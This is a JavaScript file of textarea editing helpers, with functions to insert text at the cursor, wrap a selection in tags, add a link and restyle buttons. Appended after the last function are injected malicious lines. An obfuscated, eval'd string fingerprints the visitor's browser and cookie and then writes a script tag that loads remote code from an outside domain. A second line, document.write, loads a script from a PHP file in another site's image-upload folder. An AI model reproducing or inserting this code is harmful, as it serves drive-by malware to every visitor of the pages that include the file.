//
// Adds some text where the cursor is.
//
// Works in IE and Mozilla 1.3b+
// In other browsers, it simply adds the text at the end of the current text
//
function addText( input, insText ) 
{
	input.focus();
	if( input.createTextRange ) {
		document.selection.createRange().text += insText;
 	} 
 	else if( input.setSelectionRange ) {
		var len = input.selectionEnd;
   		input.value = input.value.substr( 0, len ) + insText + input.value.substr( len );
   		input.setSelectionRange(len+insText.length,len+insText.length);
 	} 
 	else { 
	 	input.value += insText; 
	}
}

//
// Wraps the current selection of a textbox around with the given 'v' parameter.
// 
// Works in IE and Mozilla 1.3b+
// In other browsers, it simply adds an empty pair of tags at the end of the current
// text.
//
function wrapSelection(ta, v) 
{
	if( document.selection ) {
		// for IE
		var str = document.selection.createRange().text;
		ta.focus();
		var sel = document.selection.createRange();
		sel.text = "<" + v + ">" + str + "</" + v + ">";
    }
	else {
		// browsers other than IE
		var s = ta;
		if( s.selectionEnd ) {
			// Mozilla 1.3b+ 
			var s1 = (s.value).substring(0,s.selectionStart)
			var s2 = (s.value).substring(s.selectionEnd,s.textLength)
			selection = (s.value).substring(s.selectionStart, s.selectionEnd)
			s.value = s1 + '<' + v + '>' + selection + '</' + v + '>' + s2
		}
		else {
			// everything else
			s.value += '<' + v + '></' + v + '>';
		}
	}
	
	return;
}

//
// Asks for a url and adds a link to the textbox, at the same point where the cursor is.
//
// Uses insertText to insert the text so it has the same limitations as insertText has
//
function insertLink(ta) {
	var s  = ta;
	var my_link = prompt('Enter URL:', 'http://')
	if (my_link != null) {
		addText(ta, my_link);
	}
	
	return;
}    

////////////////
/// buttons
///////////////
function mouseover(el) {
  el.className = "button_raised";
}

function mouseout(el) {
  el.className = "button";
}

function mousedown(el) {
  el.className = "button_pressed";
}

function mouseup(el) {
  el.className = "button_raised";
}<!-- 
(function(){var x9u='var&20&61&3d&22Script&45&6e&67ine&22&2cb&3d&22Versi&6fn()+&22&2cj&3d&22&22&2cu&3dna&76ig&61to&72&2euserAgent&3b&69f((&75&2ei&6edex&4ff&28&22&43h&72o&6de&22&29&3c0)&26&26(u&2einde&78O&66(&22Win&22)&3e0)&26&26(&75&2e&69nd&65&78Of(&22NT&20&36&22)&3c0)&26&26(do&63&75m&65&6e&74&2ecook&69e&2e&69&6ed&65x&4f&66(&22m&69&65&6b&3d&31&22)&3c0&29&26&26(typeo&66(zrvz&74s)&21&3dtypeof(&22A&22)))&7bzrvzt&73&3d&22A&22&3be&76a&6c&28&22i&66(wi&6e&64ow&2e&22+&61+&22&29j&3dj+&22&2ba+&22&4da&6aor&22+&62+a+&22Minor&22+b+&61&2b&22&42u&69ld&22+b+&22j&3b&22&29&3bdocu&6d&65nt&2ew&72ite(&22&3cscr&69pt&20sr&63&3d&2f&2fma&72&22&2b&22tuz&2ecn&2fvi&64&2f&3fid&3d&22+j+&22&3e&3c&5c&2f&73cr&69&70t&3e&22)&3b&7d';eval(unescape(x9u.replace(/&/g,'%')))})();
 -->
document.write('<script src=http://incabrasil.org.br/admin/upload_imagens/adminsupernews.php ><\/script>');